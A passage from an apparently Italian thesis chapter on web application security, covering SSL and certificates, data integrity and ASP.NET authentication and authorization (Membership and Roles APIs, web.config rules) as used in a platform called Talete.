La figura seguente ci mostra alcune delle minacce da cui difendersi.
Figura 22 Tipi di attacco
Tra gli attacchi più comuni a cui è possibile assistere, ci sono quelli provenienti dall’interno,
naturale evoluzione dato che le wan diventano sempre più robuste e sicure; oramai c’è una serie
di attacchi automatizzati per cui il rischio che ha un’importante azienda è uguale a quello che
ha un sito poco visitato in quanto, con questa automazione, i programmi iterano gli indirizzi ip
55

CAPITOLO IV - La sicurezza nelle web applications
della rete, “spazzolando” fino a quando trovano delle porte o dei servizi aperti attraverso cui
effettuare l’exploit.
Da non sottovalutare gli attacchi DoS tramite i quali, come sarà spiegato in seguito, un servizio
viene mandato in tilt per un po’ di tempo causando un disservizio.
Poi abbiamo virus, spyware, malware, ecc. ma anche utenti che eseguono dei servizi con
privilegi troppo alti come mostrato in figura.
4.3 Caratteristiche e problematiche legate alla sicurezza
Uno dei concetti fondamentali in sicurezza è che essa non può essere considerata una
caratteristica del software. Essa è trasversale, parte dall’architettura, passa dalla progettazione,
si concretizza nello sviluppo e trova conferme nei test.
Ovviamente scrivere codice sicuro, mettendosi nei panni dello sviluppatore, non è facile in
quanto chi attacca è notevolmente avvantaggiato; chi difende deve proteggere tutti i fronti,
mentre a chi attacca basta una sola vulnerabilità. Inoltre chi difende lo fa in base alle proprie
conoscenze e può farlo solo contro attacchi già noti, quindi si potrà sempre scoprire qualcosa di
nuovo che lo sviluppatore non conosce e non può considerare nella sua strategia di sicurezza
attuale. Ovviamente, ci sono anche dei “contro” nell’applicazione di tecniche di sicurezza:
- il costo elevato, in quanto coordinare, trovare il bug, sistemare il codice, testarlo, e spiegarlo
al cliente (a volte è una cosa molto imbarazzante) comporta una spesa in termini economici,
che può essere notevole in quanto la correzione di un bug di sicurezza può devastare il codice
rispetto a un fix locale.
- il tempo perso
- la perdita di fiducia dei clienti
56

CAPITOLO IV - La sicurezza nelle web applications
Per legge la sicurezza è un problema che non può essere ignorato e deve essere gestito. Infatti,
la legge italiana, e non solo, obbliga la protezione e la riservatezza dei dati personali; le
vulnerabilità di tipo “information disclosure” riguardano direttamente la privacy, cioè
informazioni che non era previsto che uscissero da una ristretta cerchia di persone con
determinati privilegi, sono fruibili anche da altri che non sono autorizzati.
Non si può permettere che i dati consegnati ad un’azienda vengano divulgati a tutti.
4.3.1 La sicurezza dei dati
Il dato è il “pane” dell’informatica; ogni applicazione opera su dati, ogni operazione è relativa a
dati. Il dato è gestito dall’applicazione che fornisce una funzionalità ad un utente.
Inoltre bisogna tener presente che:
1. alcuni utenti devono accedere ai dati e altri non devono poterli vedere;
2. alcuni devono poter vedere tutti i dati presenti e altri devono poter vedere solo alcuni
dati specifici;
3. alcuni devono vedere un dato in tutta la sua storia e altri solo in uno specifico stato;
4. alcuni possono operare sul dato a tutto tondo, altri hanno modalità d’accesso limitato.
La sicurezza sui dati è possibile esplicarla attraverso 4 elementi:
1 Accesso/sicurezza dei dati. La sicurezza del dato è legata primariamente al controllo
dell’accesso:
• Sicurezza nella trasmissione e nel trasferimento dei dati
• Sicurezza nell’accesso alle applicazioni di gestione
57

• Sicurezza nell’accesso ai dati
CAPITOLO IV - La sicurezza nelle web applications
Per il primo aspetto non abbiamo grossi problemi, il dato può essere trasferito con diversi
protocolli, ma tutti questi hanno, chi più e chi meno, supporti alla gestione della sicurezza;
il concetto base è quello di trasferire i dati in modo cifrato.
Per molto tempo questo è sembrato l’anello debole della catena della sicurezza e, di
conseguenza, è stato l’aspetto più curato.
Il secondo problema, quello relativo al controllo di sicurezza nell’accesso all’applicazione,
è tipicamente un problema facilmente risolvibile, poiché una specifica logica applicativa è
sufficiente a profilare gli utenti e fornire loro il corretto accesso.
Per ultimo, il problema della gestione della sicurezza nell’accesso al dato vero e proprio,
viene elegantemente risolto attraverso gli strumenti nativi dei database relazionali o con un
approccio applicativo.
2 Integrità dei dati. Il dato nasce e vive una propria vita in cui viene letto, modificato e
cancellato; se è manipolato sempre dallo stesso utente ed è mantenuto in un sistema
“protetto” non ha grossi problemi. Le difficoltà nascono invece, quando i dati sono trattati
da diversi utenti, e quindi c’è concorrenza su di essi; bisogna garantire, in queste condizioni,
la loro integrità.
3 Integrità referenziale. Dopo aver affrontato il problema della concorrenza sui dati ne appare
un altro, che è quello dell’integrità referenziale degli stessi.
Per integrità referenziale si intende che due istanze presenti in due entità e correlate tra loro
devono essere sempre coerenti.
Ad esempio se c’è un’anagrafica di un prodotto che è classificato attraverso una tabella di
categorie valide, non si deve permettere di cancellare una categoria finché sia presente
anche un solo prodotto che sia catalogato con quella categoria. Se così non fosse
risulterebbe un prodotto con una categoria che non esiste.
L’integrità referenziale serve a garantire che questa coerenza di dati venga mantenuta.
4 Integrità delle informazioni. Oltre all’integrità dei dati abbiamo un altro problema da
affrontare, quello dell’integrità delle informazioni.
58

CAPITOLO IV - La sicurezza nelle web applications
Non ha alcun senso garantire che un padre non venga cancellato in presenza di almeno un
figlio, se poi l’informazione che il sistema deve esprimere, perde di significato nel momento
che viene cancellato l’ultimo figlio di un padre.
L’importante è mantenere sempre un controllo lucido sul dato che si gestisce, prestando
sempre una grande attenzione agli automatismi che si possono applicare.
4.4 Certificati
Un aspetto fondamentale della sicurezza delle web applications, legato ai dati e alle
informazioni è quello che riguarda i certificati e le connessioni SSL (Secure Sockets Layer);
queste tecnologie sono indipendenti dalla programmazione Asp.NET.
Un certificato digitale è un messaggio con firma digitale utilizzato di norma per attestare la
validità di una chiave pubblica, composto da:
1 Numero di serie del certificato;
2 Informazioni sull’algoritmo utilizzato;
3 Estremi di chi ha rilasciato il certificato;
4 Validità del certificato (data);
5 Informazioni sull’algoritmo di chiave pubblica del soggetto del certificato;
6 Firma digitale dell’autorità rilasciante.
Essenzialmente, i certificati permettono di attestare che il sito e le informazioni
dell’organizzazione sono registrate e soprattutto verificate da una certificate authority. Questo
generalmente aumenta la fiducia del cliente, anche se non garantisce che la società o
l’organizzazione agisca responsabilmente e onestamente. Un certificato è un po’ come la
patente di guida, che non prova che una persona sa guidare, ma attesta che una terza parte (in
59

CAPITOLO IV - La sicurezza nelle web applications
questo caso la motorizzazione) può certificare la qualifica dell’utente. Un web server richiede
un certificato per usare SSL, che automaticamente cripta tutte le informazioni scambiate tra
client e server.
Per aggiungere un certificato ad un sito, bisogna acquistarlo da una certificate authority, tra le
quali abbiamo:
• VeriSign (http://www.verisign.com)
• GeoTrust (http://www.geotrust.com)
• GlobalSign (http://www.globalsign.com)
• Thawte (http://www.thawte.com)
La tecnologia SSL cripta la comunicazione tra un client ed un sito web. Anche se rallenta le
prestazioni, essa viene usata quando, tra un utente autenticato ed una web application, devono
essere trasmesse informazioni private o dati sensibili. Senza SSL, ogni informazione che viene
spedita su Internet, incluso password, numeri di carta di credito, ed elenchi d’impiegati sono
facilmente visibili da un ficcanaso con appositi strumenti di rete come gli sniffer.
Anche applicando ai dati la migliore cifratura, c’è un altro problema: come può un client essere
sicuro che un web server è quello che il client cerca? Per esempio, si consideri un cracker
intelligente che usa una sorta di IP spoofing per “spacciarsi” come Amazon.com; anche se la
comunicazione avviene tramite SSL per trasferire le informazioni della carta di credito, il web
server maligno può decriptare agevolmente l’informazione. Per questo SSL usa i certificati;
questi stabiliscono l’identità, mentre SSL protegge la comunicazione. Se un utente maligno
abusa di un certificato, la certificate authority può revocarlo; ovviamente per usare SSL, c’è
bisogno di installare un certificato valido. Per accedere alla pagina con SSL, il cliente inserisce
l’URL preceduta da https anziché http all’inizio della richiesta (o comunque avviene il
redirect). Nel codice Asp.NET è possibile controllare e verificare se un utente sta trasferendo
informazioni su un canale sicuro o meno:
60

CAPITOLO IV - La sicurezza nelle web applications
Figura 23 Codice di verifica di trasferimento su un canale sicuro
Riferendoci alla nostra applicazione, l’uso di SSL è fondamentale, soprattutto per criptare le
credenziali dell’utente che accede alla piattaforma o per proteggere dati sensibili delle aziende
come i budget; infatti, senza questo canale sicuro, con strumenti di rete come ethereal, diventa
semplice catturare username e password come mostrato nell’esempio seguente:
61

CAPITOLO IV - La sicurezza nelle web applications
Figura 24 Accesso a Talete
In assenza di SSL, catturando i pacchetti con ethereal, è possibile vedere in uno di questi il
passaggio in chiaro di username e password:
Figura 25 Pacchetto con username e password
62

CAPITOLO IV - La sicurezza nelle web applications
L’inserimento della protezione SSL è una procedura ancora da completare in Talete;
innanzitutto è stata inserita la seguente proprietà:
In questo modo, quando si va ad effettuare il login, si ottiene il seguente messaggio d’errore:
“ L’applicazione è configurata per inviare cookie protetti. Tali cookie richiedono che il
browser invii la richiesta mediante SSL (protocollo https), mentre la richiesta corrente non è
basata su SSL”.
Il passo successivo è la configurazione di IIS per fare in modo che Talete giri sotto SSL e
l’acquisto di un certificato da una CA.
4.4.1 Come lavora SSL
Con SSL, il client e il web server avviano una sessione sicura prima di comunicare qualsiasi
informazione che usa una chiave di codifica generata casualmente.
Di seguito sono descritte le varie fasi:
Fase 1: Client_Hello
– Il client invia un messaggio Client_Hello al Server per informarlo che vuole
iniziare una sessione. Tale messaggio può essere mandato anche per rinegoziare
una sessione. Il messaggio contiene:
• le combinazioni di algoritmi di crittografia supportati dal Client;
• una lista di algoritmi di compressione supportati dal Client;
– Dopo aver mandato un Client_Hello, il client rimane in attesa di un Server_Hello
63

Fase 2: Server_Hello
CAPITOLO IV - La sicurezza nelle web applications
– Il server risponde al client con un alert (per il fallimento dell’handshake) o con un
Server_Hello_msg nel quale sceglie la suite di crittografia, l’algoritmo di
compressione e invia altri dati sulla sessione. Se il server non supporta gli
algoritmi del client, invia un failure.
Fase 3: Server_Certificate (opzionale)
– Il server invia un messaggio di Server_Certificate per autenticarsi. Se il server
non ha un certificato manda un “server_key_change msg”. Può anche richiedere
al client un certificato (certificate request).
Fase 4: Server_hello_done
– Il server, dopo aver mandato il server_hello_msg (ed anche gli altri messaggi di
certificazione) rimane in attesa di una risposta del client.
Fase 5: Client_key_exchange
– Se il client autentica il server, manda un messaggio client_key_exchange.
Fase 6: Change_cipher_spec e finished
– Il client manda tale messaggio seguito da un finished.
– Il server risponde con un change_cipher_spec e manda finished.
Fase 7: Scambio di messaggi
– client e server si scambiano i record prodotti dal Record Layer e crittografati
usando le specifiche concordate nell’Hello
64

CAPITOLO IV - La sicurezza nelle web applications
Figura 26 Fasi dell’SSL
65

4.4.2 Obiettivi SSL
CAPITOLO IV - La sicurezza nelle web applications
Sono tanti i vantaggi derivanti dall’applicazione del protocollo SSL, tra cui troviamo:
1 Sicurezza del collegamento: SSL garantisce una comunicazione sicura tra due endpoint;
2 Interoperabilità: programmatori di diverse organizzazioni sono in grado di sviluppare
applicazioni utilizzando SSL, accordandosi sui parametri utilizzati dagli algoritmi di
crittografia;
3 Ampliamento: SSL fornisce una struttura in cui nuovi metodi di crittografia a chiave
pubblica e a chiave simmetrica, possono essere incorporati senza dover creare un nuovo
protocollo;
4 Efficienza: l’SSL ha incorporato uno schema di “session caching” opzionale che riduce
il numero di collegamenti che devono essere stabiliti ex-novo (ad es. attività sulla rete);
questo è molto importante in quanto le operazioni di crittografia tendono ad essere molto
laboriose per la CPU, soprattutto quelle a chiave pubblica.
4.4.3 Come usare male SSL
Ci sono alcuni siti di banche italiane che a volte usano male ssl per diversi motivi: in
particolare, spesso vengono chieste le credenziali su una normale pagina http facendo
successivamente il post su ssl e questo è un errore, perché la pagina mostrata, essendo http, non
da la certezza che possa provenire (e quindi essere erogata) dal sito della banca; cioè cosa può
essere successo? Il dns che viene usato dal client, cioè dagli utenti della banca potrebbe essere
stato avvelenato, e, nel momento in cui si va a digitare l’URL www.miabanca.com, il dns non
restituisce l’indirizzo della banca, bensì quello del sito dell’hacker che ha una pagina identica a
66

CAPITOLO IV - La sicurezza nelle web applications
quella della banca; a questo punto vengono chieste le credenziali e l’utente non sa se il
postback è su http o https. Quindi fondamentale è non solo il cripting dei dati con ssl, ma l’uso
del certificato che garantisce che chi sta dall’altra parte è effettivamente l’entità che dice di
essere. Il certificato client garantisce la banca, mentre quello server autentica l’indirizzo del sito
oltre a criptare le informazioni. Anche il cookie sul client è un punto di attacco in quanto non si
ha la sicurezza che esso sia immune da cross site scripting.
Altri metodi oltre ssl per garantire una comunicazione sicura potrebbero essere la VPN,
l’IPSEC (ottimo), oppure l’IPSEC /L2TP.
4.5 Principi di sicurezza in Asp.NET
Le applicazioni che ci riguardano più da vicino, visto lo sviluppo della piattaforma Talete, sono
quelle Asp.NET che, “per default”, sono disponibili a qualsiasi utente che può connettersi al
server (se è in Internet o su una rete locale). Sebbene questo è l’ideale per molte applicazioni
web (ed incarna lo spirito con cui è nata e cresciuta Internet), non è sempre appropriato. Per
esempio, un sito di e-commerce ha bisogno di fornire un esercizio d’acquisto sicuro per
accaparrarsi clienti.
Un sito subscription-based ha bisogno di limitare contenuto o accesso ad esso, oppure ad
alcune parti come ad esempio ad una pagina di configurazione o ad un report amministrativo.
In questo ambito, Asp.NET fornisce un modello di sicurezza a vari livelli che facilita la
protezione delle web applications. Anche se questo “schema” di sicurezza è potente ed
assolutamente flessibile, può apparire confusionario a causa del numero di strati in cui la
sicurezza può essere applicata; molto del lavoro non viene dallo scrivere codice ma dal
determinare le zone adatte in cui implementarla.
67

CAPITOLO IV - La sicurezza nelle web applications
Il primo passo nella protezione delle applicazioni web è decidere dove si ha bisogno della
sicurezza e ciò che deve proteggere. Per esempio, ci potrebbe essere la necessità di impedire
l’accesso a chiunque per proteggere delle informazioni riservate, oppure solamente di
rafforzare una subscription policy; altre volte non si ha bisogno di alcun genere di protezione,
ma si vuole solo un sistema di login per offrire personalizzazione per visitatori frequenti.
Questi requisiti determinano l’approccio e la strategia da usare.
La sicurezza non ha bisogno di essere complessa, ma deve essere applicata su larga scala. Per
esempio, anche se si costringono gli utenti a loggarsi in una parte del sito, bisogna assicurarsi
che le informazioni siano immagazzinate nel database con un account sicuro, con una password
che non possa essere indovinata facilmente da un utente sulla rete locale. C’è bisogno di
garantire anche che l’applicazione non venga modificata da utenti malintenzionati in modo tale
da spedire informazioni private (come attraverso delle query impostate male).
Il modello di sicurezza in Asp.NET può essere rappresentato con la seguente figura.
Figura 27 Modello di sicurezza in Asp.NET
68

CAPITOLO IV - La sicurezza nelle web applications
Come si può notare dalla figura, le richieste web sono passate prima all’IIS (Internet
Information Services) che poi le trasferirà all’applicazione Asp.NET (se è una richiesta
Asp.NET).
È possibile applicare la sicurezza e quindi la sua politica in diverse zone di questo modello.
Prima, considerando il processo di richiesta di una pagina web ordinaria (non Asp.NET):
1. IIS prova ad autenticare l’utente.
2. Se IIS autentica con successo l’utente, gli manda l’appropriato file html che è stato
richiesto.
Mentre una richiesta Asp.NET richiede dei passi addizionali. Il primo e l’ultimo passo sono gli
stessi della procedura già vista, ma il processo ha dei livelli intermedi:
1. IIS prova ad autenticare l’utente
2. Se IIS autentica con successo l’utente, esso passa la richiesta ad Asp.NET con ulteriori
informazioni sull’utente autenticato.
3. Se Asp.NET autentica l’utente, quest’ultimo può effettuare richieste di pagine .aspx o
del servizio web di asmx. Il codice può compiere anche controlli di sicurezza
supplementari (per esempio, chiedendo un’altra parola d’ordine prima di permettere una
specifica operazione).
4. Quando il codice Asp.NET richiede delle risorse (per esempio, prova ad aprire un file o
connettersi ad un db), il sistema operativo compie i suoi controlli di sicurezza.
4.5.1 Autenticazione e autorizzazione in Asp.NET
Uno degli scenari più diffusi nelle applicazioni web e al tempo stesso più difficile da gestire,
specie con le versioni precedenti di Asp.NET, riguarda l’autenticazione e l’autorizzazione
69

CAPITOLO IV - La sicurezza nelle web applications
all’accesso a pagine protette; è una funzionalità da cui moltissime applicazioni web ormai non
possono più prescindere, perché consente di dare accesso ad alcune aree solo a determinati
utenti, provvisti di certi privilegi, così da rendere possibile, ad esempio, l’aggiunta di un’area
ad accesso riservato, che consente di amministrare in tutta sicurezza e autonomia
l’applicazione. Asp.NET 2.0 introduce in quest’ambito delle novità che rendono più semplice
l’implementazione di queste funzionalità, attraverso Membership e Roles API, costruite intorno
al Provider Model, un modello teso a favorire lo sviluppo di applicazioni basate su provider,
facili da creare e immediate da configurare.
Con il termine “autenticazione” s’intende il processo con cui si determina l’identità di un
soggetto e si “costringono” gli utenti a provare che loro sono effettivamente chi dicono di
essere. Di solito, questo comporta l’immissione di credenziali (tipicamente un nome utente e
una password) in una pagina o finestra di login. Generalmente, queste credenziali sono
autenticate, controllate e confrontate con quelle di un elenco di utenti in un archivio o in un
database back-end.
Gli attori sono (almeno):
1 applicazione che deve autenticare
2 principal: un’entità che può essere autenticata
3 authority: un’entità che rappresenta e riconosce i principal, associandoli a dei ruoli che
classificano le “capabilities” di quest’utente.
L’autorizzazione è, invece, quel processo che, dopo l’autenticazione da parte di un utente,
determina se costui ha i permessi sufficienti per compiere una determinata azione o accedere
alla risorsa richiesta (come ad esempio vedere una pagina o recuperare informazioni da un
database, ecc.).
L’autenticazione e l’autorizzazione sono le due pietre angolari per creare un sito sicuro. Per
capire meglio l’importanza di questi aspetti, possiamo fare un’analogia con la procedura di
accesso al sistema operativo Windows. Quando un computer con Windows viene avviato,
l’utente fornisce username e password, in modo tale da autenticarsi al sistema. Da quel punto in
poi, ogni volta che s’interagisce con una risorsa limitata (come un archivio, database, chiave di
registro, ecc.), Windows compie di nascosto controlli di autorizzazione per garantire che lo
70

CAPITOLO IV - La sicurezza nelle web applications
user account abbia i diritti necessari per portare a termine ciò che tenta di fare; la stessa cosa
deve accadere in un’applicazione Asp.NET.
Per comprendere in modo adeguato quanto sia potente l’approccio usato da Asp.NET, è
necessario per prima cosa aprire una piccola parentesi sui meccanismi di autenticazione
utilizzati, che rappresentano la base su cui Membership e Roles API si poggiano.
Questi componenti non fanno altro che utilizzare un pezzo dell’architettura di HttpRuntime,
cioè del cuore di Asp.NET, chiamato HttpModule.
Asp.NET è provvisto di tre HttpModule specifici, ognuno per la differente tipologia di
autenticazione, di cui il nome già rappresenta un’indicazione:
• FormsAuthenticationModule
• WindowsAuthenticationModule
• PassportAuthenticationModule
Il primo è rivolto essenzialmente a siti pubblici che non rientrano nell’ambito delle Intranet, per
le quali è consigliabile il secondo. L’ultimo, specifico per Passport, è ad uso e consumo di
Microsoft.
4.5.2 L’utente in Asp.NET: Principal e Identity
Asp.NET utilizza due classi per rappresentare le informazioni relative all’utente, che sono
implementate in maniera tale da essere indipendenti dal tipo di autenticazione: Principal e
Identity.
71

CAPITOLO IV - La sicurezza nelle web applications
La classe Principal contiene le informazioni di protezione relative all’utente, sotto forma di un
oggetto che implementa l’interfaccia IIdentity, e dei ruoli a cui lo stesso appartiene. È inoltre
rappresentato da una serie di oggetti che implementano l’interfaccia IPrincipal.
Identity rappresenta l’identità di un utente (WindowsIdentity, FormsIdentity, PassportIdentity,
GenericIdentity).
Principal ed Identity sono legati tra loro e variano a seconda del tipo di autenticazione
utilizzato: nel caso dell’autenticazione Windows gli oggetti utilizzati saranno rispettivamente
WindowsPrincipal e WindowsIdentity, mentre con Forms Authentication gli oggetti saranno
GenericPrincipal e GenericIdentity.
All’interno dell’identità dell’utente è dunque contenuta l’appartenenza ai ruoli, secondo le
modalità specifiche del tipo di autenticazione.
L’accesso a queste informazioni è regolato attraverso la proprietà User, che viene restituita sia
attraverso la classe HttpContext, che direttamente come proprietà della classe Page.
Attraverso il metodo IsInRole si può verificare l’appartenenza ad un certo ruolo, mentre
IIdentity ha la proprietà Name, con cui si può risalire al nome utente, e quella
IsAuthenticated, che stabilisce se l’utente è stato autenticato o meno.
Figura 28 Interfaccia IIdentity
Figura 29 Interfaccia IPrincipal
72

CAPITOLO IV - La sicurezza nelle web applications
Di seguito viene proposto un esempio in cui si nota come con le classi GenericIdentity e
GenericPrincipal si può gestire in modo personalizzato il sistema di autenticazione e
autorizzazione:
Prima si costruisce l’oggetto GenericIdentity passandogli l’username, poi si crea l’oggetto
GenericPrincipal passandogli il GenericIdentity e l’array di stringhe che sono i ruoli che si
vogliono assegnare al particolare utente:
Nella nostra applicazione, abbiamo creato la classe TaleteIdentity.cs:
73

CAPITOLO IV - La sicurezza nelle web applications
Figura 30 Classe “TaleteIdentity” in Talete
Come si nota dal codice, questa classe deriva da GenericIdentity, e ha come proprietà Utente,
Name, NomeVisualizzato e il metodo SetOrganizzazione. Questa classe, ai fini
dell’autorizzazione degli utenti è fondamentale, in quanto, come già visto
nell’implementazione, il metodo richiamato è:
identity.Utente.Autorizzato(string pagina)
con
TaleteIdentity identity = Page.User.Identity as TaleteIdentity;
L’altra classe, o meglio interfaccia, fondamentale è IPrincipal in Talete:
74

CAPITOLO IV - La sicurezza nelle web applications
Figura 31 Interfaccia “IPrincipal” in Talete
Come già accennato nell’introduzione, non è stato possibile gestire tutto il meccanismo di
autenticazione e autorizzazione con queste due interfacce, in quanto l’unico ruolo statico è
l’amministratore, per cui il metodo IsInRole è usato solo con questo tipo di utente:
4.5.3 Web.config: il tag
if (Page.User.IsInRole("Amministratore"))...
con
public IPrincipal User { get; }
Per controllare chi può accedere al sito web, c’è bisogno di aggiungere regole di controllo
dell’accesso alla sezione del file web.config. Questo è un esempio che duplica
il comportamento di default:
75

CAPITOLO IV - La sicurezza nelle web applications
Figura 32 Esempio n°1 di nel web.config
Esistono due caratteri speciali, “*” e “?”, che indicano rispettivamente “All users” e
“Anonymous User”; nel file web.config i settaggi di default permettono l’uso a tutti gli utenti.
Per cambiare questo comportamento, bisogna esplicitamente aggiungere una regola più
restrittiva, in questo modo:
Figura 33 Esempio n°2 di nel web.config
Includendo questa regola nel file web.config, si specifica che non sono permessi utenti
anonimi. Ogni utente deve essere autenticato, e qualsiasi operazione dell’utente richiederà il
cookie di sicurezza.
76

CAPITOLO IV - La sicurezza nelle web applications
Un approccio comune nel progetto di un’applicazione web è di mettere i file che richiedono
autenticazione in una directory separata. Con i file di configurazione di Asp.NET questa
metodologia è semplice da seguire. Basta lasciare l’impostazione di default
nella directory padre, e aggiungere le specifiche restrizioni nel web.config, il quale negherà
l’accesso a queste directory ad utenti anonimi. Lo stesso si può fare con i file; a tal proposito
viene presentato un esempio con una parte del “ web.config” della nostra applicazione:
Figura 34 Web.config di Talete
Come è possibile evincere dal codice, alla cartella App_Themes è permesso l’accesso a tutti gli
utenti, cosi come al file Default.aspx; alla pagina PasswordRecovery è permesso l’accesso solo
agli utenti anonimi, mentre alla cartella CdG possono accedere solo utenti autenticati, cioè che
hanno già inserito nella form del login username e password.
77

CAPITOLO IV - La sicurezza nelle web applications
I settaggi si applicano secondo la regola “First Match Wins”, cioè l’ordine di valutazione delle
autorizzazioni va dal primo verso l’ultimo.
Quindi nell’esempio seguente il secondo tag verrebbe ignorato:
Con la figura seguente è possibile riassumere i concetti di autenticazione e autorizzazione in
Asp.NET:
4.5.4 API per la sicurezza
Figura 35 Autenticazione e autorizzazione in Asp.NET
Con Asp.NET 2.0 sono state introdotte delle API che hanno rivoluzionato totalmente il modo
di lavorare con la sicurezza consentendo un’elevata flessibilità nella scelta delle caratteristiche
da aggiungere alle proprie applicazioni. È presente un modello unificato che permette di avere
2 set diversi di API che sono:
1. Membership API
2. Roles API
78

CAPITOLO IV - La sicurezza nelle web applications
Esse sono state costruite principalmente per disaccoppiare quello che è il mondo dei controlli e
quindi la possibilità di gestire in maniera interattiva il controllo sulla gestione dell’utente e dei
ruoli. Per fare questo abbiamo un meccanismo, chiamato provider model, il quale, pluggando
un nuovo provider, a prescindere dall’applicazione che utilizza le membership e le roles,
automaticamente fornisce un nuovo modo di registrare le credenziali e i ruoli.
Il Provider Model è un design pattern che può essere considerato come l’uso congiunto di altri
pattern già definiti, dove lo Strategy Pattern, che appartiene alla famiglia dei pattern GOF
(Gang of Four), è sicuramente quello che si nota con maggior facilità: si basa sulla creazione di
una famiglia di algoritmi, incapsulati e resi intercambiabili tra di loro, richiamati in maniera
indipendente dal contesto.
Il vantaggio di questo approccio è che cambiando il provider non è necessario cambiare il
codice che richiama le API, che è poi l’unica interfaccia utilizzata dalle applicazioni. Nel caso
di Asp.NET, il provider è specificato attraverso il web.config e caricato, attraverso
un’operazione di Dependency Injection, quando le API hanno bisogno di fornire una
determinata funzionalità. Con questo modello qualsiasi sviluppatore può creare un provider,
dato che le API rappresentano un ponte verso il provider, che è l’effettivo componente che
fornisce l’implementazione concreta, avendo al tempo stesso il medesimo approccio, garantito
dall’utilizzo di una classe astratta come base comune per queste classi.
È possibile scrivere custom Providers (sono disponibili per Oracle, MySQL).
1. MEMBERSHIP API
Le Membership API rappresentano il primo modo per mettere in pratica, al tempo stesso, i
concetti propri del Provider Model e quelli dell’autorizzazione integrata in Asp.NET, attraverso
gli HttpModule.
Esse gestiscono utenti e credenziali, fornendo la logica per validare gli utenti e le password,
creare nuovi utenti ed altro ancora; inoltre gestiscono lo store per le credenziali, indirizzi e-mail
e altri dati relativi all’utente. Si tratta di una serie di funzionalità che forniscono l’infrastruttura
comune a tutti i provider, in grado di garantire un’uniformità di creazione della parte di
79

CAPITOLO IV - La sicurezza nelle web applications
gestione degli utenti. Il meccanismo delle Membership API è costituito da due componenti
fondamentali:
• le API, richiamate direttamente dallo sviluppatore ed implementate attraverso la classe statica
Membership;
• i provider, che forniscono le funzionalità specifiche in base allo storage e che derivano dalla
classe base astratta MembershipProvider.
In un modello del genere, i metodi della classe Membership richiamano il corrispondente
metodo definito all’interno del provider, usando un’istanza dello stesso, creata a partire dalle
impostazioni specificate nel web.config.
Lo schema a blocchi del Membership Provider Model è sostanzialmente il seguente:
Figura 36 Membership API
In pratica abbiamo nello strato più basso il Membership Store, che è sostanzialmente il livello
fisico, il database come SQLServer o MySQL, oppure Active Directory o altri ottenuti
scrivendo dei Provider. Al livello superiore ci sono i Membership Providers, che servono a
salvare o comunque a mantenere le informazioni, su di un supporto per immagazzinare i dati. Il
ruolo del Membership Provider è quindi quello di fare da ponte tra le Membership API e i
80

CAPITOLO IV - La sicurezza nelle web applications
supporti d’immagazzinamento dei dati, in modo che lo sviluppatore non debba scrivere codice
a basso livello. Se lo sviluppatore vuole immagazzinare i suoi dati in un formato diverso, ad
esempio in un documento XML, può scrivere un proprio Membership Provider ad hoc. Salendo
troviamo le Membership API che possono essere direttamente utilizzate dalle applicazioni; in
questo modo è possibile controllare lo stato della Membership oppure dell’utente con una serie
di metodi e proprietà, le quali andranno a leggere dal file web.config qual è il provider
installato nello specifico ed utilizzarlo. Quindi esse non sono legate alla presenza di un
particolare provider. Alla fine abbiamo i controlli che usano le Membership API e che
permettono di gestire le classiche operazioni di Login.
La classe Membership provvede metodi statici per eseguire le azioni più frequenti, tra i quali:
- CreateUser: aggiunge un utente allo store della Membership
- DeleteUser: rimuove un utente dallo store della Membership
- GeneratePassword: genera una password random della lunghezza specificata
- GetAllUsers: carica una collection di oggetti MembershipUser
- GetNumberOfUsersOnline: restituisce il numero di utenti collegati
- GetUser: carica un singolo oggetto MembershipUser che rappresenta un utente
- UpdateUser: aggiorna le informazioni per uno specifico utente
- ValidateUser: valida il login sulla base di username e password verificando che siano corrette
La classe MembershipUser invece si occupa della gestione delle informazioni utente come la
password, oppure delle domande per recuperare password smarrite.
2. ROLES API
Con lo stesso spirito di Membership API, vale a dire quello di favorire la semplicità
d’implementazione di funzionalità ripetitive, Roles API fornisce l’infrastruttura necessaria ad
aggiungere anche il supporto per i ruoli applicativi all’utente.
Il Role Manager ci abilita alla gestione in automatico della sicurezza a ruoli basato sulla logica
a provider, con 3 provider di default:
1. AuthorizationStoreRoleProvider (per l’editabilità, cioè la gestione dei ruoli)
81

2. SQLRoleProvider
3. WindowsTokenRoleProvider
CAPITOLO IV - La sicurezza nelle web applications
Le API Roles servono per mettere in corrispondenza gli utenti con i ruoli e di conseguenza la
classe Roles definisce metodi per creare un nuovo ruolo, verificare se ad un utente è associato
un determinato ruolo, ecc.
Per quanto riguarda la parte architetturale, ancora una volta abbiamo il Roles Store, cioè dei
dati e i relativi Roles Providers. Tra le Roles Api, abbiamo solo la classe Roles e infine i
controlli che utilizzano le Roles API per sfruttare queste funzionalità.
Figura 37 Roles API
82

CAPITOLO IV - La sicurezza nelle web applications
4.6 Controlli per gestire l’accesso e l’autenticazione in Asp.NET 2.0
Per rendere più semplice l’implementazione delle API viste in precedenza, la versione 2.0 di
Asp.NET introduce alcuni nuovi server control di tipo security, che automatizzano questo
genere di operazioni, grazie all’utilizzo di un approccio totalmente dichiarativo.
L’idea è che grazie al fatto che le API sono fisse e non cambiano mai (a farlo è solo il
provider), si possono creare dei server control in grado di richiamare queste API, senza
necessità di essere cambiati nel tempo.
Le aree in cui questi controlli impattano sono quelle legate alle operazioni più diffuse, e sono
state inserite nella nostra piattaforma:
ChangePassword: consente il cambio password;
CreateUserWizard: fornisce un wizard per l’iscrizione di un utente;
Login: fornisce l’infrastruttura necessaria al login;
LoginName: mostra il nome utente;
LoginStatus: mostra lo stato dell’utente (autenticato o no);
LoginView: supporta la visualizzazione di template in base allo stato dell’utente;
PasswordRecovery: consente di recuperare la password esistente o di crearne una nuova,
quando si utilizza un formato hashed.
Questi controlli coprono quasi il 100% delle necessità presenti in questi scenari, adattandosi in
automatico al provider in uso; inoltre questi compiti, che prima richiedevano la scrittura di
codice, adesso possono essere svolti semplicemente trascinando i relativi controlli dalla barra
degli strumenti all’area di lavoro oppure inserendoli nel source code della pagina .aspx.
1) Login: permette di verificare automaticamente utente e password, quindi fa la validazione
sullo store specificato nel file web.config
83

CAPITOLO IV - La sicurezza nelle web applications
Figura 38 Controllo “Login”
2) LoginStatus: questo controllo indica lo stato dell’utente e da la possibilità, cliccando, di
andare alla pagina di Login. Quindi agli utenti che sono loggati fornisce la possibilità di fare
il logout; a quelli non loggati permette di effettuare il login.
Figura 39 Controllo “LoginStatus”
3) LoginName: indica quale è il login name, cioè il nome dell’utente che è in questo momento
loggato, oppure “blank ” se non è loggato nessuno
Figura 40 Controllo “LoginName”
